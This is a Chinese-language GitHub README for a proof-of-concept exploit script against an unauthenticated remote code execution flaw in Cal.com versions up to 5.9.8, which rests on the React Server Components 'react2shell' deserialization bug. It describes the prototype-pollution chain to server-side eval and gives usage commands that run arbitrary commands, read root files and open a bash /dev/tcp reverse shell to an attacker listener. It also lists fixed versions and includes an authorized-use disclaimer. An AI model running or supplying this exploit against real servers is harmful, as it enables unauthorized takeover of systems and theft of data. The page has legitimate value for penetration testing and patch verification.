0xdak/CVE-2025-71389_exploit
GitHub: 0xdak/CVE-2025-71389_exploit
CVE-2025-71389 的 PoC 利用脚本,利用 React Server Components 反序列化漏洞实现 Cal.com 的未授权远程代码执行。
Stars: 0 | Forks: 0
# CVE-2025-71389 — Cal.com 未授权 RCE (react2shell)
[Cal.com](https://github.com/calcom/cal.com) `<= 5.9.8` 中存在的未授权远程代码执行漏洞,
其根源在于 **React Server Components "Flight" 反序列化** 漏洞 —
即 "**react2shell**"(React 中的 **CVE-2025-55182**,Next.js 中的 **CVE-2025-66478**)。
Cal.com 内置了存在漏洞的 Next.js 15.x。仅需发送一个未授权的 `POST /` 请求,携带
`Next-Action` header 和精心构造的 multipart Flight payload,即可通过原型污染
链(`__proto__:then` + `constructor:constructor`)触发服务端的 `eval`,最终
执行 `child_process.execSync`。命令的输出会直接内联返回在 RSC 错误的
`digest` 字段中。无需授权,无需用户交互 — 单个请求即可实现 RCE。
- **受影响版本:** Cal.com `<= 5.9.8`(使用 RSC 的 Next.js 15.x / 16.x App Router)
- **修复版本:** Cal.com `5.9.9`(升级了内置的 Next.js)
- **默认端口:** `3000`
- **CWE:** 502 / 94
- **底层漏洞:** CVE-2025-55182 (React), CVE-2025-66478 (Next.js)
## 环境要求
```
pip install requests
```
## 使用方法
```
# 一次性命令(输出会在 response 中返回)
python3 exploit.py http://10.10.10.10:3000/ -c 'id'
python3 exploit.py http://10.10.10.10:3000/ -c 'cat /root/proof.txt'
# 交互式 reverse shell(请先启动 `nc -lvnp 4444`)
python3 exploit.py http://10.10.10.10:3000/ --shell 10.10.14.5:4444
```
单次执行的命令会通过 RSC 错误的 `digest` 内联返回其输出。`--shell`
模式会触发一个通过 `setsid` 分离的 `bash` `/dev/tcp` 反向 shell(目标容器为
Debian 且自带 `bash`)。
## 修复方案
将 Cal.com 升级至 `>= 5.9.9`(任意已修复的 Next.js 版本:15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 /
15.4.8 / 15.5.7 / 16.0.7)。请勿将 RSC server-function handler 暴露给不受信任的
客户端,并且不要以 root 身份运行应用容器。
## 免责声明
仅供授权的安全测试和教育使用。请仅针对您自己拥有
或获得明确测试许可的系统使用。
标签:CISA项目, 威胁模拟, 编程工具, 远程代码执行, 逆向工具